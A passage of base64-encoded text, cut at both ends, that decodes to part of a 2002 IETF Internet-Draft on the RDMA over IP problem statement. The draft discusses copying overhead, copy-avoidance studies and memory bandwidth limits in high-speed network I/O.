eXN0ZW1zLiBBbHRob3VnaCBzbWFsbGVyIHN5c3RlbXMgc3VjaCBhcyByYWNrLW1vdW50ZWQg UENzDQogICAgIGFuZCBzbWFsbCB3b3Jrc3RhdGlvbnMgd291bGQgYmVuZWZpdCBmcm9tIGEg cmVkdWN0aW9uIGluIGNvcHlpbmcNCiAgICAgb3ZlcmhlYWQsIHRoZSBiZW5lZml0IHRvIHNt YWxsZXIgbWFjaGluZXMgd2lsbCBiZSBwcmltYXJpbHkgaW4gdGhlDQogICAgIG5leHQgZmV3 IHllYXJzIGFzIHRoZXkgc2NhbGUgaW4gdGhlIGFtb3VudCBvZiBiYW5kd2lkdGggdGhleQ0K ICAgICBoYW5kbGUuIFRvZGF5IGl0IGlzIGxhcmdlIHN5c3RlbSBtYWNoaW5lcyB3aXRoIGhp Z2ggYmFuZHdpZHRoDQogICAgIGZlZWRzLCB1c3VhbGx5IG11bHRpcHJvY2Vzc29ycyBhbmQg Y2x1c3RlcnMsIHRoYXQgYXJlIGFkdmVyc2VseQ0KICAgICBhZmZlY3RlZCBmcm9tIGNvcHlp bmcgb3ZlcmhlYWQuIEV4YW1wbGVzIG9mIHN1Y2ggbWFjaGluZXMgaW5jbHVkZQ0KICAgICBh bGwgdmFyaWV0aWVzIG9mIHNlcnZlcnM6IGRhdGFiYXNlIHNlcnZlcnMsIHN0b3JhZ2Ugc2Vy dmVycywNCiAgICAgYXBwbGljYXRpb24gc2VydmVycyBmb3IgdHJhbnNhY3Rpb24gcHJvY2Vz c2luZywgZm9yIGUtY29tbWVyY2UsIGFuZA0KICAgICB3ZWIgc2VydmluZywgY29udGVudCBk aXN0cmlidXRpb24sIHZpZGVvIGRpc3RyaWJ1dGlvbiwgYmFja3VwcywNCiAgICAgZGF0YSBt aW5pbmcgYW5kIGRlY2lzaW9uIHN1cHBvcnQsIGFuZCBzY2llbnRpZmljIGNvbXB1dGluZy4N Cg0KICAgICBUaGVzZSBsYXJnZXIgc3lzdGVtcyB0eXBpY2FsbHksIHRob3VnaCBub3QgZXhj bHVzaXZlbHksIHRlcm1pbmF0ZQ0KICAgICBsb2NhbCBjb25uZWN0aW9ucyByYXRoZXIgdGhh biBqdXN0IHdpZGUgYXJlYSBuZXR3b3JrIGNvbm5lY3Rpb25zLg0KICAgICBUaGV5IGFyZSBv ZnRlbiBsb2NhdGVkIGluIGRhdGEgY2VudGVycyBhbmQgdGhleSBjYXJyeSBjb3Jwb3JhdGUg YW5kDQogICAgIEludGVybmV0IHRyYWZmaWMuICBJbmNyZWFzaW5nLCBsYXJnZSBzeXN0ZW1z IGFjY2VzcyBzdG9yYWdlIG92ZXIgYQ0KDQoNCg0KUm9tYW5vdywgZXQgYWwgICAgICAgICAg IEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAgICAgICAgICAgIFtQYWdlIDJdDQoMDQpJ bnRlcm5ldC1EcmFmdCAgICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBTdGF0ZW1lbnQgICAg ICAgICAgMjEgRmViIDIwMDINCg0KDQogICAgIFN0b3JhZ2UgQXJlYSBOZXR3b3JrIChTQU4p IHJhdGhlciB0aGFuIHVzaW5nIGRpcmVjdGx5IGF0dGFjaGVkDQogICAgIGRpc2tzLCBhbmQg bWFueSBTQU5zIGFyZSBJUC1iYXNlZC4NCg0KICAgICBOb3RlIHRoYXQgc3VjaCBzZXJ2ZXJz IGFsbW9zdCBleGNsdXNpdmVseSBzZXJ2aWNlIG1hbnkgY29uY3VycmVudA0KICAgICBzZXNz aW9ucyAodHJhbnNwb3J0IGNvbm5lY3Rpb25zKSwgd2hpY2gsIGluIGFnZ3JlZ2F0ZSwgYXJl DQogICAgIHJlc3BvbnNpYmxlIGZvciA+IDEgR2JpdHMvcyBvZiBjb21tdW5pY2F0aW9uLiAg Tm9uZXRoZWxlc3MsIHRoZQ0KICAgICBjb3N0IG9mIGNvcHlpbmcgb3ZlcmhlYWQgZm9yIGEg cGFydGljdWxhciBsb2FkIGlzIHRoZSBzYW1lIHdoZXRoZXINCiAgICAgZnJvbSBmZXcgb3Ig bWFueSBzZXNzaW9ucy4NCg0KICAgICBCZWNhdXNlIG9mIGhpZ2ggZW5kLWhvc3QgcHJvY2Vz c2luZyBvdmVyaGVhZCBpbiBjdXJyZW50DQogICAgIGltcGxlbWVudGF0aW9ucywgdGhlIFRD UC9JUCBwcm90b2NvbCBzdGFjayBpcyBub3QgdXNlZCBmb3IgaGlnaA0KICAgICBzcGVlZCB0 cmFuc2Zlci4gSW5zdGVhZCBzcGVjaWFsIHB1cnBvc2UgbmV0d29yayBmYWJyaWNzIHVzaW5n DQogICAgIHJlbW90ZSBkaXJlY3QgbWVtb3J5IGFjY2VzcyAoUkRNQSkgaGF2ZSBiZWVuIGRl dmVsb3BlZCBhbmQgYXJlDQogICAgIHdpZGVseSB1c2VkLiBSRE1BIGlzIGEgdGVjaG5vbG9n eSB0aGF0IGFsbG93cyB0aGUgbmV0d29yayBhZGFwdGVyLA0KICAgICB1bmRlciBjb250cm9s IG9mIHRoZSBhcHBsaWNhdGlvbiwgdG8gcGxhY2UgZGF0YSBkaXJlY3RseSBpbnRvIGFuZA0K ICAgICBvdXQgb2YgYXBwbGljYXRpb24gYnVmZmVycy4gVGhpcyBjYXBhYmlsaXR5IGlzIGFs c28gcmVmZXJyZWQgdG8gYXMNCiAgICAgImRpcmVjdCBkYXRhIHBsYWNlbWVudCIuIEV4YW1w bGVzIG9mIHN1Y2ggaW50ZXJjb25uZWN0aW9uIGZhYnJpY3MNCiAgICAgaW5jbHVkZSBGaWJy ZSBDaGFubmVsIFtGSUJSRV0gZm9yIGJsb2NrIHN0b3JhZ2UgdHJhbnNmZXIsIFZpcnR1YWwN CiAgICAgSW50ZXJmYWNlIEFyY2hpdGVjdHVyZSBbVkldIGZvciBkYXRhYmFzZSBjbHVzdGVy cywgSW5maW5pYmFuZCBbSUJdLA0KICAgICBDb21wYXEgU2VydmVybmV0IFtTUlZORVRdLCBR dWFkcml4IFtRVUFEXSBmb3IgU3lzdGVtIEFyZWEgTmV0d29ya3MuDQogICAgIFRoZXNlIGxp bmsgbGV2ZWwgdGVjaG5vbG9naWVzIGxpbWl0IGFwcGxpY2F0aW9uIHNjYWxpbmcgaW4gYm90 aA0KICAgICBkaXN0YW5jZSBhbmQgc2l6ZSwgbWVhbmluZyB0aGUgbnVtYmVyIG9mIG5vZGVz Lg0KDQogICAgIFRoaXMgcHJvYmxlbSBzdGF0ZW1lbnQgc3Vic3RhbnRpYXRlcyB0aGUgY2xh aW0gdGhhdCBpbiBuZXR3b3JrIEkvTw0KICAgICBwcm9jZXNzaW5nLCBoaWdoIG92ZXJoZWFk IGlzIGNhdXNlZCBmcm9tIGRhdGEgbW92ZW1lbnQgb3BlcmF0aW9ucywNCiAgICAgc3BlY2lm aWNhbGx5IGNvcHlpbmc7IGFuZCB0aGF0IGNvcHkgYXZvaWRhbmNlIHNpZ25pZmljYW50bHkN CiAgICAgZGVjcmVhc2VzIHRoZSBwcm9jZXNzaW5nIG92ZXJoZWFkLiBJdCBkZXNjcmliZXMg d2hlbiBhbmQgd2h5IHRoZQ0KICAgICBoaWdoIHByb2Nlc3Npbmcgb3ZlcmhlYWRzIG9jY3Vy LCBleHBsYWlucyB3aHkgdGhlIG92ZXJoZWFkIGlzDQogICAgIHByb2JsZW1hdGljLCBhbmQg cG9pbnRzIG91dCB3aGljaCBhcHBsaWNhdGlvbnMgYXJlIG1vc3QgYWZmZWN0ZWQuDQogICAg IFRoZSBkcmFmdCBhbHNvIGNvbnNpZGVycyB3aHkgdGhpcyBwcm9ibGVtIG5lZWRzIHRvIGJl IGFkZHJlc3NlZCBieQ0KICAgICB0aGUgSUVURiBpbiBwYXJ0aWN1bGFyLg0KDQogICAgIFRo ZSBJL08gYm90dGxlbmVjaywgYW5kIHRoZSByb2xlIG9mIGRhdGEgbW92ZW1lbnQgb3BlcmF0 aW9ucywgaGF2ZQ0KICAgICBiZWVuIHdpZGVseSBzdHVkaWVkIGluIHJlc2VhcmNoIGFuZCBp bmR1c3RyeSBvdmVyIHRoZSBsYXN0DQogICAgIGFwcHJveGltYXRlbHkgMTQgeWVhcnMsIGFu ZCB3ZSBkcmF3IGZyZWVseSBvbiB0aGVzZSByZXN1bHRzLiBUaGUNCiAgICAgcHJvYmxlbSB3 YXMgaW52ZXN0aWdhdGVkIHdoZW4gaGlnaCBzcGVlZCBtZWFudCAxMDAgTWJpdHMvcyBGRERJ IGFuZA0KICAgICBGYXN0IEV0aGVybmV0OyBpdCB3YXMgYWdhaW4gb2YgY29uY2VybiB3aGVu IEFUTSB3aXRoIDE1NSBNYml0cy9zDQogICAgIGFuZCAxIEdiaXRzL3MgRXRoZXJuZXQgd2Vy ZSBpbnRyb2R1Y2VkLiAgQW5kIG5vdyB0aGF0IDEwIEdiaXRzL3MNCiAgICAgRXRoZXJuZXQg aXMgYmVjb21pbmcgYXZhaWxhYmxlIHRoZXJlIGlzIGFuIHVwc3dpbmcgb2YgYWN0aXZpdHkg aW4NCiAgICAgaW5kdXN0cnkgYW5kIHJlc2VhcmNoIFtEQUZTLCBJQiwgVkksIENHWjAxLCBN YTAyLCBNQUYrMDJdLg0KDQoyLiAgVGhlIGhpZ2ggY29zdCBvZiBkYXRhIG1vdmVtZW50IG9w ZXJhdGlvbnMgaW4gbmV0d29yayBJL08NCg0KICAgICBBIHdlYWx0aCBvZiBkYXRhIGZyb20g cmVzZWFyY2ggYW5kIGluZHVzdHJ5IHNob3dzIHRoYXQgY29weWluZyBpcw0KICAgICByZXNw b25zaWJsZSBmb3Igc3Vic3RhbnRpYWwgYW1vdW50cyBvZiBwcm9jZXNzaW5nIG92ZXJoZWFk LiBJdA0KICAgICBmdXJ0aGVyIHNob3dzIHRoYXQgZXZlbiBpbiBjYXJlZnVsbHkgaW1wbGVt ZW50ZWQgc3lzdGVtcywNCiAgICAgZWxpbWluYXRpbmcgY29waWVzIHNpZ25pZmljYW50bHkg cmVkdWNlcyB0aGUgb3ZlcmhlYWQsIGFzDQogICAgIHJlZmVyZW5jZWQgYmVsb3cuDQoNCg0K DQpSb21hbm93LCBldCBhbCAgICAgICAgICAgRXhwaXJlcyBTZXB0ZW1iZXIgMjAwMiAgICAg ICAgICAgICAgICAgW1BhZ2UgM10NCgwNCkludGVybmV0LURyYWZ0ICAgICAgIFJETUEgb3Zl ciBJUCBQcm9ibGVtIFN0YXRlbWVudCAgICAgICAgICAyMSBGZWIgMjAwMg0KDQoNCiAgICAg Q2xhcmsgZXQgYWwuIFtDSlJTODldIGluIDE5ODkgc2hvd3MgdGhhdCBUQ1AgW1BvODFdIG92 ZXJoZWFkDQogICAgIHByb2Nlc3NpbmcgaXMgYXR0cmlidXRhYmxlIHRvIGJvdGggb3BlcmF0 aW5nIHN5c3RlbSBjb3N0cyBzdWNoIGFzDQogICAgIGludGVycnVwdHMsIGNvbnRleHQgc3dp dGNoZXMsIHByb2Nlc3MgbWFuYWdlbWVudCwgYnVmZmVyDQogICAgIG1hbmFnZW1lbnQsIHRp bWVyIG1hbmFnZW1lbnQsIGFuZCB0byB0aGUgY29zdHMgYXNzb2NpYXRlZCB3aXRoDQogICAg IHByb2Nlc3NpbmcgaW5kaXZpZHVhbCBieXRlcywgc3BlY2lmaWNhbGx5IGNvbXB1dGluZyB0 aGUgY2hlY2tzdW0NCiAgICAgYW5kIG1vdmluZyBkYXRhIGluIG1lbW9yeS4gVGhleSBmb3Vu ZCBtb3ZpbmcgZGF0YSBpbiBtZW1vcnkgaXMgdGhlDQogICAgIG1vcmUgaW1wb3J0YW50IG9m IHRoZSBjb3N0cywgYW5kIHRoZWlyIGV4cGVyaW1lbnRzIHNob3cgdGhhdCBtZW1vcnkNCiAg ICAgYmFuZHdpZHRoIGlzIHRoZSBncmVhdGVzdCBzb3VyY2Ugb2YgbGltaXRhdGlvbi4gIElu IHRoZSBkYXRhDQogICAgIHByZXNlbnRlZCBbQ0pSUzg5XSwgNjQlIG9mIHRoZSBtZWFzdXJl ZCBtaWNyb3NlY29uZCBvdmVyaGVhZHMgd2FzDQogICAgIGF0dHJpYnV0YWJsZSB0byBkYXRh IHRvdWNoaW5nIG9wZXJhdGlvbnMsIGFuZCA0OCUgd2FzIGFjY291bnRlZCBmb3INCiAgICAg YnkgY29weWluZy4gIFRoZSBzeXN0ZW0gbWVhc3VyZWQgQmVya2VsZXkgVENQIG9uIGEgU3Vu LTMvNjAgdXNpbmcNCiAgICAgMTQ2MCBCeXRlIEV0aGVybmV0IHBhY2tldHMuDQoNCiAgICAg SW4gYSB3ZWxsLWltcGxlbWVudGVkIHN5c3RlbSwgY29weWluZyBjYW4gb2NjdXIgYmV0d2Vl biB0aGUgbmV0d29yaw0KICAgICBpbnRlcmZhY2UgYW5kIHRoZSBrZXJuZWwsIGFuZCBiZXR3 ZWVuIHRoZSBrZXJuZWwgYW5kIGFwcGxpY2F0aW9uDQogICAgIGJ1ZmZlcnMgLSB0d28gY29w aWVzLCBlYWNoIG9mIHdoaWNoIGlzIHR3byBtZW1vcnkgYnVzIGNyb3NzaW5ncyAtDQogICAg IGZvciByZWFkIGFuZCB3cml0ZS4gQWx0aG91Z2ggaW4gY2VydGFpbiBjaXJjdW1zdGFuY2Vz IGl0IGlzDQogICAgIHBvc3NpYmxlIHRvIGRvIGJldHRlciwgdXN1YWxseSB0d28gY29waWVz IGFyZSByZXF1aXJlZCBvbiByZWNlaXZlLg0KDQogICAgIFN1YnNlcXVlbnQgd29yayBoYXMg Y29uc2lzdGVudGx5IHNob3duIHRoZSBzYW1lIHBoZW5vbWVub24gYXMgdGhlDQogICAgIGVh cmxpZXIgQ2xhcmsgc3R1ZHkuIEEgbnVtYmVyIG9mIHN0dWRpZXMgcmVwb3J0IHJlc3VsdHMg dGhhdCBkYXRhLQ0KICAgICB0b3VjaGluZyBvcGVyYXRpb25zLCBjaGVja3N1bW1pbmcgYW5k IGRhdGEgbW92ZW1lbnQsIGRvbWluYXRlIHRoZQ0KICAgICBwcm9jZXNzaW5nIGNvc3RzIGZv ciBtZXNzYWdlcyBsb25nZXIgdGhhbiAxMjggQnl0ZXMgW0JTOTYsIENHWTAxLA0KICAgICBD aDk2LCBDSlJTODksIERBUFA5MywgS1A5Nl0uICBGb3Igc21hbGxlciBzaXplZCBtZXNzYWdl cywgcGVyLQ0KICAgICBwYWNrZXQgb3ZlcmhlYWRzIGRvbWluYXRlIFtLUDk2LCBDR1kwMV0u DQoNCiAgICAgVGhlIHBlcmNlbnRhZ2Ugb2Ygb3ZlcmhlYWQgZHVlIHRvIGRhdGEtdG91Y2hp bmcgb3BlcmF0aW9ucw0KICAgICBpbmNyZWFzZXMgd2l0aCBwYWNrZXQgc2l6ZSwgc2luY2Ug dGltZSBzcGVudCBvbiBwZXItYnl0ZSBvcGVyYXRpb25zDQogICAgIHNjYWxlcyBsaW5lYXJs eSB3aXRoIG1lc3NhZ2Ugc2l6ZSBbS1A5Nl0uIEZvciBleGFtcGxlLCBDaHUgW0NoOTZdDQog ICAgIHJlcG9ydGVkIHN1YnN0YW50aWFsIHBlci1ieXRlIGxhdGVuY3kgY29zdHMgYXMgYSBw ZXJjZW50YWdlIG9mDQogICAgIHRvdGFsIG5ldHdvcmtpbmcgc29mdHdhcmUgY29zdHMgZm9y IGFuIE1UVSBzaXplIHBhY2tldCBvbg0KICAgICBTUEFSQ3N0YXRpb24vMjAgcnVubmluZyBt ZW1vcnktdG8tbWVtb3J5IFRDUCB0ZXN0cyBvdmVyIG5ldHdvcmtzDQogICAgIHdpdGggMyBk aWZmZXJlbnQgTVRVIHNpemVzLiBUaGUgcGVyY2VudGFnZSBvZiB0b3RhbCBzb2Z0d2FyZSBj b3N0cw0KICAgICBhdHRyaWJ1dGFibGUgdG8gcGVyLWJ5dGUgb3BlcmF0aW9ucyB3ZXJlOg0K DQogICAgICAgIDE1MDAgQnl0ZSBFdGhlcm5ldCAxOC0yNSUNCiAgICAgICAgNDM1MiBCeXRl IEZEREkgICAgIDM1LTUwJQ0KICAgICAgICA5MTgwIEJ5dGUgQVRNICAgICAgNTUtNjUlDQoN Cg0KICAgICBBbHRob3VnaCwgbWFueSBzdHVkaWVzIHJlcG9ydCByZXN1bHRzIGZvciBkYXRh LXRvdWNoaW5nIG9wZXJhdGlvbnMNCiAgICAgaW5jbHVkaW5nIGJvdGggY2hlY2tzdW1taW5n IGFuZCBkYXRhIG1vdmVtZW50IHRvZ2V0aGVyLCBtdWNoIHdvcmsNCiAgICAgaGFzIGZvY3Vz ZWQganVzdCBvbiBjb3B5aW5nIFtCUzk2LCBCOTksIENoOTYsIFRLOTVdLiBGb3IgZXhhbXBs ZSwNCiAgICAgW0tQOTZdIHJlcG9ydHMgcmVzdWx0cyB0aGF0IHNlcGFyYXRlIHByb2Nlc3Np bmcgdGltZXMgZm9yIGNoZWNrc3VtDQogICAgIGZyb20gZGF0YSBtb3ZlbWVudCBvcGVyYXRp b25zLiBGb3IgMTUwMCBCeXRlIEV0aGVybmV0IHNpemUsIDIwJSBvZg0KICAgICB0b3RhbCBw cm9jZXNzaW5nIG92ZXJoZWFkIHRpbWUgaXMgYXR0cmlidXRhYmxlIHRvIGNvcHlpbmcuICBU aGUNCiAgICAgc3R1ZHkgdXNlZCAyIERFQ3N0YXRpb25zIDUwMDAvMjAwIGNvbm5lY3RlZCBi eSBhbiBGRERJIG5ldHdvcmsuDQogICAgIChJbiB0aGlzIHN0dWR5IGNoZWNrc3VtIGFjY291 bnRzIGZvciAzMCUgb2YgdGhlIHByb2Nlc3NpbmcgdGltZS4pDQoNCg0KDQpSb21hbm93LCBl dCBhbCAgICAgICAgICAgRXhwaXJlcyBTZXB0ZW1iZXIgMjAwMiAgICAgICAgICAgICAgICAg W1BhZ2UgNF0NCgwNCkludGVybmV0LURyYWZ0ICAgICAgIFJETUEgb3ZlciBJUCBQcm9ibGVt IFN0YXRlbWVudCAgICAgICAgICAyMSBGZWIgMjAwMg0KDQoNCjIuMS4gIENvcHkgYXZvaWRh bmNlIGltcHJvdmVzIHByb2Nlc3Npbmcgb3ZlcmhlYWQNCg0KICAgICBBIG51bWJlciBvZiBz dHVkaWVzIHNob3cgdGhhdCBlbGltaW5hdGluZyBjb3BpZXMgc3Vic3RhbnRpYWxseQ0KICAg ICByZWR1Y2VzIG92ZXJoZWFkLiAgRm9yIGV4YW1wbGUsIHJlc3VsdHMgZnJvbSBjb3B5LWF2 b2lkYW5jZSBpbiB0aGUNCiAgICAgSU8tTGl0ZSBzeXN0ZW0gW1BEWjk5XSwgd2hpY2ggYWlt ZWQgYXQgaW1wcm92aW5nIHdlYiBzZXJ2ZXINCiAgICAgcGVyZm9ybWFuY2UsIHNob3cgYSB0 aHJvdWdocHV0IGluY3JlYXNlIG9mIDQzJSBvdmVyIGFuIG9wdGltaXplZA0KICAgICB3ZWIg c2VydmVyLCBhbmQgMTM3JSBpbXByb3ZlbWVudCBvdmVyIGFuIEFwYWNoZSBzZXJ2ZXIuIFRo ZSBzeXN0ZW0NCiAgICAgd2FzIGltcGxlbWVudGVkIGluIGEgNC40QlNEIGRlcml2ZWQgVU5J WCBrZXJuZWwsIGFuZCB0aGUNCiAgICAgZXhwZXJpbWVudHMgdXNlZCBhIHNlcnZlciBzeXN0 ZW0gYmFzZWQgb24gYSAzMzNNSHogUGVudGl1bSBJSSBQQw0KICAgICBjb25uZWN0ZWQgdG8g YSBzd2l0Y2hlZCAxMDAgTWJpdHMvcyBGYXN0IEV0aGVybmV0Lg0KDQogICAgIFRoZXJlIGFy ZSBtYW55IG90aGVyIGV4YW1wbGVzIHdoZXJlIGVsaW1pbmF0aW9uIG9mIGNvcHlpbmcgdXNp bmcgYQ0KICAgICB2YXJpZXR5IG9mIGRpZmZlcmVudCBhcHByb2FjaGVzIHNob3dlZCBzaWdu aWZpY2FudCBpbXByb3ZlbWVudCBpbg0KICAgICBzeXN0ZW0gcGVyZm9ybWFuY2UgW0NGRis5 NCwgRFA5MywgRUJCVjk1LCBLU1o5NSwgVEs5NSwgV2E5N10uICBXZQ0KICAgICB3aWxsIGRp c2N1c3MgdGhlIHJlc3VsdHMgb2Ygb25lIG9mIHRoZXNlIHN0dWRpZXMgaW4gZGV0YWlsIGlu IG9yZGVyDQogICAgIHRvIGNsYXJpZnkgdGhlIHNpZ25pZmljYW50IGRlZ3JlZSBvZiBpbXBy b3ZlbWVudCBwcm9kdWNlZCBieSBjb3B5DQogICAgIGF2b2lkYW5jZSBbQ2gwMl0uDQoNCiAg ICAgUmVjZW50IHdvcmsgYnkgQ2hhc2UgZXQgYWwuIFtDR1kwMV0sIG1lYXN1cmluZyBDUFUg dXRpbGl6YXRpb24sDQogICAgIHNob3dzIHRoYXQgYXZvaWRpbmcgY29waWVzIHJlZHVjZXMg Q1BVIHRpbWUgc3BlbnQgb24gZGF0YSBhY2Nlc3MNCiAgICAgZnJvbSAyNCUgdG8gMTUlIGF0 IDM3MCBNYml0cy9zIGZvciBhIDMyIEtCeXRlcyBNVFUgdXNpbmcgYSBDb21wYXENCiAgICAg UHJvZmVzc2lvbmFsIFdvcmtzdGF0aW9uIGFuZCBhIE15cmluZXQgYWRhcHRlciBbQkNGKzk1 XS4gVGhpcyBpcyBhbg0KICAgICBhYnNvbHV0ZSBpbXByb3ZlbWVudCBvZiA5JSBkdWUgdG8g Y29weSBhdm9pZGFuY2UuDQoNCiAgICAgVGhlIHRvdGFsIENQVSB1dGlsaXphdGlvbiB3YXMg MzUlLCB3aXRoIGRhdGEgYWNjZXNzIGFjY291bnRpbmcgZm9yDQogICAgIDI0JS4gIFRodXMg dGhlIHJlbGF0aXZlIGltcG9ydGFuY2Ugb2YgcmVkdWNpbmcgY29waWVzIGlzIDI2JS4gIEF0 DQogICAgIDM3MCBNYml0cy9zLCB0aGUgc3lzdGVtIGlzIG5vdCB2ZXJ5IGhlYXZpbHkgbG9h ZGVkLiBUaGUgcmVsYXRpdmUNCiAgICAgaW1wcm92ZW1lbnQgaW4gYWNoaWV2YWJsZSBiYW5k d2lkdGggaXMgMzQlLiBUaGlzIGlzIHRoZSBpbXByb3ZlbWVudA0KICAgICB3ZSB3b3VsZCBz ZWUgaWYgY29weSBhdm9pZGFuY2Ugd2VyZSBhZGRlZCB3aGVuIHRoZSBtYWNoaW5lIHdhcw0K ICAgICBzYXR1cmF0ZWQgYnkgbmV0d29yayBJL08uDQoNCiAgICAgTm90ZSB0aGF0IGltcHJv dmVtZW50IGZyb20gdGhlIG9wdGltaXphdGlvbiBiZWNvbWVzIG1vcmUgaW1wb3J0YW50DQog ICAgIGlmIHRoZSBvdmVyaGVhZCBpdCB0YXJnZXRzIGlzIGEgbGFyZ2VyIHNoYXJlIG9mIHRo ZSB0b3RhbCBjb3N0Lg0KICAgICBUaGlzIGlzIHdoYXQgaGFwcGVucyBpZiBvdGhlciBzb3Vy Y2VzIG9mIG92ZXJoZWFkLCBzdWNoIGFzDQogICAgIGNoZWNrc3VtbWluZywgYXJlIGVsaW1p bmF0ZWQuIEluIFtDR1kwMV0sIGFmdGVyIHJlbW92aW5nIGNoZWNrc3VtDQogICAgIG92ZXJo ZWFkLCBjb3B5IGF2b2lkYW5jZSByZWR1Y2VzIENQVSB1dGlsaXphdGlvbiBmcm9tIDI2JSB0 byAxMCUuDQogICAgIFRoaXMgaXMgYSAxNiUgYWJzb2x1dGUgcmVkdWN0aW9uLCBhIDYxJSBy ZWxhdGl2ZSByZWR1Y3Rpb24sIGFuZCBhDQogICAgIDE2MCUgcmVsYXRpdmUgaW1wcm92ZW1l bnQgaW4gYWNoaWV2YWJsZSBiYW5kd2lkdGguDQoNCiAgICAgSW4gZmFjdCwgdG9kYXkncyBO SUNzIGNvbW1vbmx5IG9mZmxvYWQgdGhlIGNoZWNrc3VtLCB3aGljaCByZW1vdmVzDQogICAg IHRoZSBvdGhlciBzb3VyY2Ugb2YgcGVyLWJ5dGUgb3ZlcmhlYWQuIFRoZXkgYWxzbyBjb2Fs ZXNjZQ0KICAgICBpbnRlcnJ1cHRzIHRvIHJlZHVjZSBwZXItcGFja2V0IGNvc3RzLiAgVGh1 cywgdG9kYXkgY29weWluZyBjb3N0cw0KICAgICBhY2NvdW50IGZvciBhIHJlbGF0aXZlbHkg bGFyZ2VyIHBhcnQgb2YgQ1BVIHV0aWxpemF0aW9uIHRoYW4NCiAgICAgcHJldmlvdXNseSwg YW5kIHRoZXJlZm9yZSByZWxhdGl2ZWx5IG1vcmUgYmVuZWZpdCBpcyB0byBiZSBnYWluZWQN CiAgICAgaW4gcmVkdWNpbmcgdGhlbS4gKE9mIGNvdXJzZSB0aGlzIGFyZ3VtZW50IHdvdWxk IGJlIHNwZWNpb3VzIGlmIHRoZQ0KICAgICBhbW91bnQgb2Ygb3ZlcmhlYWQgd2VyZSBpbnNp Z25pZmljYW50LCBidXQgaXQgaGFzIGJlZW4gc2hvd24gdG8gYmUNCiAgICAgc3Vic3RhbnRp YWwuKQ0KDQoNCg0KDQpSb21hbm93LCBldCBhbCAgICAgICAgICAgRXhwaXJlcyBTZXB0ZW1i ZXIgMjAwMiAgICAgICAgICAgICAgICAgW1BhZ2UgNV0NCgwNCkludGVybmV0LURyYWZ0ICAg ICAgIFJETUEgb3ZlciBJUCBQcm9ibGVtIFN0YXRlbWVudCAgICAgICAgICAyMSBGZWIgMjAw Mg0KDQoNCjMuICBNZW1vcnkgYmFuZHdpZHRoIGlzIHRoZSByb290IGNhdXNlIG9mIHRoZSBw cm9ibGVtDQoNCiAgICAgRGF0YSBtb3ZlbWVudCBvcGVyYXRpb25zIGFyZSBleHBlbnNpdmUg YmVjYXVzZSBtZW1vcnkgYmFuZHdpZHRoIGlzDQogICAgIHNjYXJjZSByZWxhdGl2ZSB0byBu ZXR3b3JrIGJhbmR3aWR0aCBhbmQgQ1BVIGJhbmR3aWR0aCBbUEFDKzk3XS4NCiAgICAgVGhp cyB0cmVuZCBleGlzdGVkIGluIHRoZSBwYXN0IGFuZCBpcyBleHBlY3RlZCB0byBjb250aW51 ZSBpbnRvIHRoZQ0KICAgICBmdXR1cmUgW0hQOTcsIFNUUkVBTV0sIGVzcGVjaWFsbHkgaW4g bGFyZ2UgbXVsdGlwcm9jZXNzb3Igc3lzdGVtcy4NCg0KICAgICBXaXRoIGNvcGllcyBjcm9z c2luZyB0aGUgYnVzIHR3aWNlIHBlciBjb3B5LCBuZXR3b3JrIHByb2Nlc3NpbmcNCiAgICAg b3ZlcmhlYWQgaXMgaGlnaCB3aGVuZXZlciBuZXR3b3JrIGJhbmR3aWR0aCBpcyBsYXJnZSBp biBjb21wYXJpc29uDQogICAgIHRvIENQVSBhbmQgbWVtb3J5IGJhbmR3aWR0aHMuIEdlbmVy YWxseSB3aXRoIHRvZGF5J3MgZW5kLXN5c3RlbXMsDQogICAgIHRoZSBlZmZlY3RzIGFyZSBv YnNlcnZhYmxlIGF0IG5ldHdvcmsgc3BlZWRzIG92ZXIgMSBHYml0cy9zLg0KDQogICAgIEEg Y29tbW9uIHF1ZXN0aW9uIGlzIHdoZXRoZXIgaW5jcmVhc2UgaW4gQ1BVIHByb2Nlc3Npbmcg cG93ZXINCiAgICAgYWxsZXZpYXRlcyB0aGUgcHJvYmxlbSBvZiBoaWdoIHByb2Nlc3Npbmcg Y29zdHMgb2YgbmV0d29yayBJL08uIFRoZQ0KICAgICBhbnN3ZXIgaXMgbm8sIGl0IGlzIHRo ZSBtZW1vcnkgYmFuZHdpZHRoIHRoYXQgaXMgdGhlIGlzc3VlLiBGYXN0ZXINCiAgICAgQ1BV cyBkbyBub3QgaGVscCBpZiB0aGUgQ1BVIHNwZW5kcyBtb3N0IG9mIGl0cyB0aW1lIHdhaXRp bmcgZm9yDQogICAgIG1lbW9yeSBbQ0dZMDFdLg0KDQogICAgIFRoZSB3aWRlbmluZyBnYXAg YmV0d2VlbiBtaWNyb3Byb2Nlc3NvciBwZXJmb3JtYW5jZSBhbmQgbWVtb3J5DQogICAgIHBl cmZvcm1hbmNlIGhhcyBsb25nIGJlZW4gYSB3aWRlbHkgcmVjb2duaXplZCBhbmQgd2VsbC11 bmRlcnN0b29kDQogICAgIHByb2JsZW0gW1BBQys5N10uIEhlbm5lc3N5IFtIUDk3XSBzaG93 cyBtaWNyb3Byb2Nlc3NvciBwZXJmb3JtYW5jZQ0KICAgICBncmV3IGZyb20gMTk4MC0xOTk4 IGF0IDYwJSBwZXIgeWVhciwgd2hpbGUgdGhlIGFjY2VzcyB0aW1lIHRvIERSQU0NCiAgICAg aW1wcm92ZWQgYXQgMTAlIHBlciB5ZWFyLCBnaXZpbmcgcmlzZSB0byBhbiBpbmNyZWFzaW5n ICJwcm9jZXNzb3ItDQogICAgIG1lbW9yeSBwZXJmb3JtYW5jZSBnYXAiLg0KDQogICAgIEFu b3RoZXIgc291cmNlIG9mIHJlbGV2YW50IGRhdGEgaXMgdGhlIFNUUkVBTSBCZW5jaG1hcmsg UmVmZXJlbmNlDQogICAgIEluZm9ybWF0aW9uIHdlYnNpdGUgd2hpY2ggcHJvdmlkZXMgaW5m b3JtYXRpb24gb24gdGhlIFNUUkVBTQ0KICAgICBiZW5jaG1hcmsgW1NUUkVBTV0uIFRoZSBi ZW5jaG1hcmsgaXMgYSBzaW1wbGUgc3ludGhldGljIGJlbmNobWFyaw0KICAgICBwcm9ncmFt IHRoYXQgbWVhc3VyZXMgc3VzdGFpbmFibGUgbWVtb3J5IGJhbmR3aWR0aCAoaW4gTUJ5dGVz L3MpDQogICAgIGFuZCB0aGUgY29ycmVzcG9uZGluZyBjb21wdXRhdGlvbiByYXRlIGZvciBz 